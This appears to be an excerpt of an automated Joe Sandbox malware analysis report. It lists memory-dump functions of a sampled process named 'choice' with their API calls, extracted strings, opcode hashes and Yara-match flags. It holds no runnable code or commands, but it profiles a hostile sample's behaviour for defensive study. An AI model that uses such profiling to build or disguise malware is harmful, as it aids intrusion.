                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: fa4e84732a07212ba8cd5031439f0c903505dcfd7ef2ff4cee23ec6643cb271d
                                                                          • Instruction ID: b2baf41533f0190e4a7b162bec209df779ef5742f341ac513a8e8d5948b552c6
                                                                          • Opcode Fuzzy Hash: fa4e84732a07212ba8cd5031439f0c903505dcfd7ef2ff4cee23ec6643cb271d
                                                                          • Instruction Fuzzy Hash: 3590026120240003620571594414626401A8BE0205B55C021F10157A0DC525D9917125
                                                                          Function 02BB3EC0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNELBASE(000007D0), ref: 02BB3F9B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID: net.dll$wininet.dll
                                                                          • API String ID: 3472027048-1269752229
                                                                          • Opcode ID: 742426b363c3a4985e7053ea838ac46b49b27e5a96ce05452ed9318196b12e4f
                                                                          • Instruction ID: 03d69dae80cbec8e9688b9710d733ff2cbe594c940db596b69a43f1558170171
                                                                          • Opcode Fuzzy Hash: 742426b363c3a4985e7053ea838ac46b49b27e5a96ce05452ed9318196b12e4f
                                                                          • Instruction Fuzzy Hash: 033141B1A00605BFD724DFA4CC84FEBB7B9EF88714F108559E9195B244D7B06640CFA5
                                                                          Function 02BAF909 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 104COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: InitializeUninitialize
                                                                          • String ID: @J7<
                                                                          • API String ID: 3442037557-2016760708
                                                                          • Opcode ID: 9908dfd8afa805d03762dce3cf7d7e02a3c61d5db52fe0e9ef0f38c447ebda99
                                                                          • Instruction ID: 84f169c2c7787777d9f07e5f67bc743c383a36229d9d446429018bcc4b4c8172
                                                                          • Opcode Fuzzy Hash: 9908dfd8afa805d03762dce3cf7d7e02a3c61d5db52fe0e9ef0f38c447ebda99
                                                                          • Instruction Fuzzy Hash: 0A3154B5A00209AFDB10DFD8D8809EEB7B9FF88304B108599E515EB214D775EE45CBA0
                                                                          Function 02BAF910 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: InitializeUninitialize
                                                                          • String ID: @J7<
                                                                          • API String ID: 3442037557-2016760708
                                                                          • Opcode ID: 918046811ed64c94dbddd3df9ab812e798a9e98e6d60eddd0bbe2c6f9faed9e4
                                                                          • Instruction ID: 8626cfd72d65e18a49eb77493a36b949384ca4e9a59926bb94ba1783d92b8330
                                                                          • Opcode Fuzzy Hash: 918046811ed64c94dbddd3df9ab812e798a9e98e6d60eddd0bbe2c6f9faed9e4
                                                                          • Instruction Fuzzy Hash: 47313275A04209AFDB10DFD8D8809EFB7B9FF88304B108599E915E7214D775EE458BA0
                                                                          Function 02BA49FA Relevance: 1.6, APIs: 1, Instructions: 66libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02BA49D2
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
                                                                          • Instruction ID: c4484fbeef2c7833d8cfeb9aa3fb377dfcb029ea4adca853983c6e71899b9e30
                                                                          • Opcode Fuzzy Hash: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
                                                                          • Instruction Fuzzy Hash: 01115C3150964AAFCB01EBB8D845EDDFBB1FB44208F1442D9D695C6147E3309256CB86
                                                                          Function 02BA4A11 Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02BA49D2
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 645277cc62aa2590a508ffeef2e8a041cefc4593994317a5588ae8f89b77937b
                                                                          • Instruction ID: e20239f97fe88fd48c4cdd5992e40e8c8ae9039465605a0e68ab7cd555e66657
                                                                          • Opcode Fuzzy Hash: 645277cc62aa2590a508ffeef2e8a041cefc4593994317a5588ae8f89b77937b
                                                                          • Instruction Fuzzy Hash: BA01D4B580060AEFCF00EEB8D995ED8BBB1FB19308F144698DA4497146E771A655CB81
                                                                          Function 02BA4960 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02BA49D2
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: Load
                                                                          • String ID:
                                                                          • API String ID: 2234796835-0
                                                                          • Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                                                          • Instruction ID: bb3aace1508e21150df1bb08a6c4a0333f13239e1b9ee8bf9859695f49af3e6b
                                                                          • Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                                                          • Instruction Fuzzy Hash: 2B011EB5D0020DABDF10DAA4DC41FEDB779AF44308F0041E5AA0897241F6B1E718CB91
                                                                          Function 02BB9D00 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateProcessInternalW.KERNELBASE(?,?,?,?,02BA870E,00000010,?,?,?,00000044,?,00000010,02BA870E,?,?,?), ref: 02BB9D63
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: CreateInternalProcess
                                                                          • String ID:
                                                                          • API String ID: 2186235152-0
                                                                          • Opcode ID: 588ab6fad6ad697c7db8fb2378a5e212ec811c9a1e7c0e8cc65acac0753f6f99
                                                                          • Instruction ID: d36ec802da8ac78d3b22b6dcbc354de7758bc2a08454dc579850b6fd6a87f44c
                                                                          • Opcode Fuzzy Hash: 588ab6fad6ad697c7db8fb2378a5e212ec811c9a1e7c0e8cc65acac0753f6f99
                                                                          • Instruction Fuzzy Hash: 7F01C0B2215108BBDB44DE99DC90EEB77AEAF8C714F008248FA19E3240D630F8518BA4
                                                                          Function 02B99CB0 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02B99CF5
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: CreateThread
                                                                          • String ID:
                                                                          • API String ID: 2422867632-0
                                                                          • Opcode ID: af7759501880bc2f0e24560c58caa6f546800790529d4b74ef37cf20f0e0dff1
                                                                          • Instruction ID: f9ead6dd1e5ad5e18f7b97fcee585ce4b35c92f94ca40c73e410f1b7900f8e4b
                                                                          • Opcode Fuzzy Hash: af7759501880bc2f0e24560c58caa6f546800790529d4b74ef37cf20f0e0dff1
                                                                          • Instruction Fuzzy Hash: 0FF0657338060436E62162ED9C02FDB779DCF81771F244066FA0CDA1C0D992B40186E4
                                                                          Function 02BA874A Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileAttributesW.KERNELBASE(?), ref: 02BA877C
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: AttributesFile
                                                                          • String ID:
                                                                          • API String ID: 3188754299-0
                                                                          • Opcode ID: 50468426bb84eebf377670c1fec5e705ddcc3463769bde6e85eed78acffa404d
                                                                          • Instruction ID: d30ac381b65ebb1ca14036f41e66d85129b0c9b9f875a094c34e9dec4479d428
                                                                          • Opcode Fuzzy Hash: 50468426bb84eebf377670c1fec5e705ddcc3463769bde6e85eed78acffa404d
                                                                          • Instruction Fuzzy Hash: C9E0687220470037FB21BA6CDC82F6A3B1ACB49734F9C02D0B8288F6D6D329E44182A0
                                                                          Function 02BB9C80 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RtlFreeHeap.NTDLL(00000000,00000004,00000000,6ED9EBA1,00000007,00000000,00000004,00000000,02BA41DA,000000F4), ref: 02BB9CB9
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: FreeHeap
                                                                          • String ID:
                                                                          • API String ID: 3298025750-0
                                                                          • Opcode ID: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
                                                                          • Instruction ID: d4b30acfa75eae6673538e1948e2b79651742e830b91e6145ba7e2df739a34cb
                                                                          • Opcode Fuzzy Hash: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
                                                                          • Instruction Fuzzy Hash: 19E09A722002047BCA24EF59EC40FEB73ADEFC9710F004458FA08A7280CA70B910CBB4
                                                                          Function 02BB9C30 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RtlAllocateHeap.NTDLL(02BA1E16,?,02BB5ADF,02BA1E16,02BB5ABF,02BB5ADF,?,02BA1E16,02BB5ABF,00001000,?,?,00000000), ref: 02BB9C6C
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: AllocateHeap
                                                                          • String ID:
                                                                          • API String ID: 1279760036-0
                                                                          • Opcode ID: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
                                                                          • Instruction ID: 43273ecf8a3442e5a410ceff5167669c8595bd93bbf6b60cc4dacfb678731757
                                                                          • Opcode Fuzzy Hash: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
                                                                          • Instruction Fuzzy Hash: 71E06D722042047BDA10EF48DC41F9B73ADEF89B10F004059FA09A7240DA70B8108AB5
                                                                          Function 02BA8750 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileAttributesW.KERNELBASE(?), ref: 02BA877C
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: AttributesFile
                                                                          • String ID:
                                                                          • API String ID: 3188754299-0
                                                                          • Opcode ID: 0cfc8129ef7a1196aec510271a93c905f16c1314e6d802461c50461af26a7ec0
                                                                          • Instruction ID: 76fc89d5657345768d9739b2c0ddd5f581a5b4cdbe92ad902396126f6d558bbb
                                                                          • Opcode Fuzzy Hash: 0cfc8129ef7a1196aec510271a93c905f16c1314e6d802461c50461af26a7ec0
                                                                          • Instruction Fuzzy Hash: 79E026762003042BEB207AB8EC41F663349DB48728F8C46E0B81CCB6C1E378F4418690
                                                                          Function 02BA11FB Relevance: 1.5, APIs: 1, Instructions: 21threadwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PostThreadMessageW.USER32(?,00000111), ref: 02BA1207
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: MessagePostThread
                                                                          • String ID:
                                                                          • API String ID: 1836367815-0
                                                                          • Opcode ID: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
                                                                          • Instruction ID: eb0eb4f2501f185b6d629037b7a0e1967469f73d9a30bf62fb960c65dd0311dd
                                                                          • Opcode Fuzzy Hash: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
                                                                          • Instruction Fuzzy Hash: 4AD0237774010C35A60145C46CC1DFFB71CDB846A5F004063FF0CD1040D6218D020BB0
                                                                          Function 02BA8540 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNELBASE(00008003,?,?,02BA2110,02BB840F,02BB5ABF,02BA20D6), ref: 02BA8573
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: ErrorMode
                                                                          • String ID:
                                                                          • API String ID: 2340568224-0
                                                                          • Opcode ID: 1bff03101fdcb0ec3fbfdba4c633dd8972d786da86e894c1965261f6565ee6b0
                                                                          • Instruction ID: 654b100e70ae141f21d43caf06d01afc560abdef60896f570e3a23cd9cfe9ed1
                                                                          • Opcode Fuzzy Hash: 1bff03101fdcb0ec3fbfdba4c633dd8972d786da86e894c1965261f6565ee6b0
                                                                          • Instruction Fuzzy Hash: 9ED05E75A847053BFA00A6F88C02F663A8F8B44754F0484A4BA0CE77C2E955F5004A65
                                                                          Function 02BA853F Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNELBASE(00008003,?,?,02BA2110,02BB840F,02BB5ABF,02BA20D6), ref: 02BA8573
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B90000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_2b90000_choice.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: ErrorMode
                                                                          • String ID:
                                                                          • API String ID: 2340568224-0
                                                                          • Opcode ID: cf76302b5712ce6ab0876e5ea568d78abd64ec5e0036f82a752503aef8af8194
                                                                          • Instruction ID: c93d17fccd04e19fc4858c212bbc031161d10ee1edc7a9dc2250c1b31a44d209
                                                                          • Opcode Fuzzy Hash: cf76302b5712ce6ab0876e5ea568d78abd64ec5e0036f82a752503aef8af8194
                                                                          • Instruction Fuzzy Hash: 06E02B628842403BEB01A7B15D0F70A7E46AF00311F084AECD808EF483DA58C1008612
                                                                          Function 04DD2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 6dd6f6f757c07f092a03e02768713caeae1f45d347a5b43d24276d20c713400a
                                                                          • Instruction ID: 10bd98845cebd0d362d8ce407ea832dc468a2779263013e623792de23e641cd4
                                                                          • Opcode Fuzzy Hash: 6dd6f6f757c07f092a03e02768713caeae1f45d347a5b43d24276d20c713400a
                                                                          • Instruction Fuzzy Hash: 35B09B719015C5C5FB11F764460971779107BD0705F15C061E2030751E4738D5D1F175

                                                                          Non-executed Functions

                                                                          Function 04B7DDD9 Relevance: 56.5, Strings: 45, Instructions: 213COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697499212.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4b70000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
                                                                          • API String ID: 0-3558027158
                                                                          • Opcode ID: bf37c6b5e2b88f16f0fe8e46c61588e16d473187dbc1e56eb2a78c11a0d15657
                                                                          • Instruction ID: 9b1cd1b0d35122bc3570f317d8d63b5fb1cc06b7cac15b604c7fdff22daffaad
                                                                          • Opcode Fuzzy Hash: bf37c6b5e2b88f16f0fe8e46c61588e16d473187dbc1e56eb2a78c11a0d15657
                                                                          • Instruction Fuzzy Hash: A39140F04482988EC7158F54A0652AFFFB1EBC6305F15816DE7E6BB243C3BE89158B85
                                                                          Function 04B73A89 Relevance: 32.6, Strings: 26, Instructions: 62COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697499212.0000000004B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4b70000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: (,/2$)/+2$)2,<$*(5<$*2-'$-,+<$/*<4$/+2/$2,2.$4Kur$<KSK$<RH<$O}z}$P0<p$Qsfu$WTHQ$Wuh3$]llp$nu3)$pp}3$s5<_$tnsq$uwy<$xsko$y3(($yKy~
                                                                          • API String ID: 0-2078937982
                                                                          • Opcode ID: 0d374fce451b3cb1192ed2ad3dab81be0fa4e91a4b9c66adf51a687bb18a52be
                                                                          • Instruction ID: 0cd55e25ec2156b29ede63e80b178ca70279b160afc9ce790a1eb361f6a267ec
                                                                          • Opcode Fuzzy Hash: 0d374fce451b3cb1192ed2ad3dab81be0fa4e91a4b9c66adf51a687bb18a52be
                                                                          • Instruction Fuzzy Hash: D42153B044074CDBDF04DF85E590ADD7B70FF01304F90A25EE818AE254DA318A56CB88
                                                                          Function 04DD2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: ___swprintf_l
                                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                          • API String ID: 48624451-2108815105
                                                                          • Opcode ID: 9de9335b8d531349f74357aada479d5c94c745aedf2b5219b5db1a0ad1c0ba91
                                                                          • Instruction ID: 556daefe85905bd6a7f0d02b54a15cb5070afb4e33f85b9c0d6592a8143822d9
                                                                          • Opcode Fuzzy Hash: 9de9335b8d531349f74357aada479d5c94c745aedf2b5219b5db1a0ad1c0ba91
                                                                          • Instruction Fuzzy Hash: 8651E7B6B04216BFDB20DF98D89097EF7B8BB09304710C269E4A5D7645E274FE508BE0
                                                                          Function 04DC7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • ExecuteOptions, xrefs: 04E046A0
                                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 04E04742
                                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 04E04787
                                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 04E04725
                                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 04E046FC
                                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 04E04655
                                                                          • Execute=1, xrefs: 04E04713
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                                          • API String ID: 0-484625025
                                                                          • Opcode ID: 2f5f075c64d058ddb5cc423cad1e2b91c46b79b8090b289610e94a44fd6862b2
                                                                          • Instruction ID: 4677a5fc10e733b580fc8a20a4d3f727a5313565bfe9f92b69a25a2ee0922dde
                                                                          • Opcode Fuzzy Hash: 2f5f075c64d058ddb5cc423cad1e2b91c46b79b8090b289610e94a44fd6862b2
                                                                          • Instruction Fuzzy Hash: 9451D63178021B6BEF10ABA5DD85BAD77A8FF04304F1405ADE509A72D0E771BE458F60
                                                                          Function 04DDB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID: __aulldvrm
                                                                          • String ID: +$-$0$0
                                                                          • API String ID: 1302938615-699404926
                                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                          • Instruction ID: 77003518041585da68073e434ac065e3edaf91cf67b8de8dadba96b88a0f1408
                                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                          • Instruction Fuzzy Hash: 2581B070E45249AFDF24CF68C8917FEBBB1BF45358F1A415BD8A1AB290D734B8408B60
                                                                          Function 04DBF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RTL: Re-Waiting, xrefs: 04E0031E
                                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04E002BD
                                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04E002E7
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_11_2_4d60000_choice.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                                          • API String ID: 0-2474120054
                                                                          • Opcode ID: 9cf66a9e12f34dadfb996fbcaf222ab8c22c2aa54597876f1c1ddaa1115d5d20
                                                                          • Instruction ID: 21de888778388ae3d5964878d60fda1a71b703e650edf81a0e412295e03dec5e
                                                                          • Opcode Fuzzy Hash: 9cf66a9e12f34dadfb996fbcaf222ab8c22c2aa54597876f1c1ddaa1115d5d20
                                                                          • Instruction Fuzzy Hash: 67E19D70604741DFD725CF28D884B6AB7E0FB48318F144A5DE8A6CB2D1E774E944CB92
                                                                          Function 04DCBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 04E07B7F
                                                                          • RTL: Re-Waiting, xrefs: 04E07BAC
                                                                          • RTL: Resource at %p, xrefs: 04E07B8E
                                                                          Memory Dump Source
                                                                          • Source File: 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: true
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004E8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                          • Associated: 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmpDownload File
